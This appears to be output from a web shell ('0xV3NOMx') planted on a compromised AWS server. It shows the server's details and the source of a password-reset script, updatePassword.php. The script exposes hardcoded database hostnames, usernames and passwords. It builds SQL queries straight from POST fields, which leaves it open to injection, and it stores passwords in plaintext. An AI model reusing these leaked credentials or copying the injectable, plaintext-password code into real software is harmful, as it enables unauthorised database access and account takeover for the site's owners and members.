0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.220.7.116


Current Path : /var/www/website/bkmh/php/
Upload File :
Current File : /var/www/website/bkmh/php/updatePassword.php

<?php
 
session_start();
$servername = "logisys.cluster-cv9maxyrxjgg.ap-south-1.rds.amazonaws.com";
$username   = "admin";
$password  = "T0g3th3r@all";
$database = "logisys3_demo";

//$servername = "bkmariappacharities.org";
// $servername = "184.168.117.223";
// $username   = "bkmh_alumni";
// $password  = "Arunkumar@22";
// $database = "bkhm_alumni";

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
ini_set('display_errors', 'on');

$conn = new  mysqli($servername,$username,$password,$database);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$mob = $_POST["fmob"];
$fotpass = $_POST["fotpass"];
$fnewpass = $_POST["fnewpass"];

$query = "select * from memhead where FMOBILE='{$mob}'";

$result = mysqli_query($conn,$query);
$row = mysqli_fetch_assoc($result);
$FMOBOTP = $row['FMOBOTP'];

if($FMOBOTP == $fotpass){
    $query = "update memhead set FPASWD = '{$fnewpass}' where FMOBILE='{$mob}'";
            
    $result1 = mysqli_query($conn, $query);
}else{
    $row2["fstatus"] = 'invalid';
    $row2["msg"] = 'OTP Invalid';
    echo json_encode($row2);
    mysqli_close($conn);
}

if($result1){
    $row1["msg"] = "Successfully Update password";
    $row1["status"] = "success";
    echo json_encode($row1);
}else{
    $row2["status"] = 'invalid';
    $row2["msg"] = 'Something went wrong';
    echo json_encode($row2);
}
mysqli_close($conn);
?>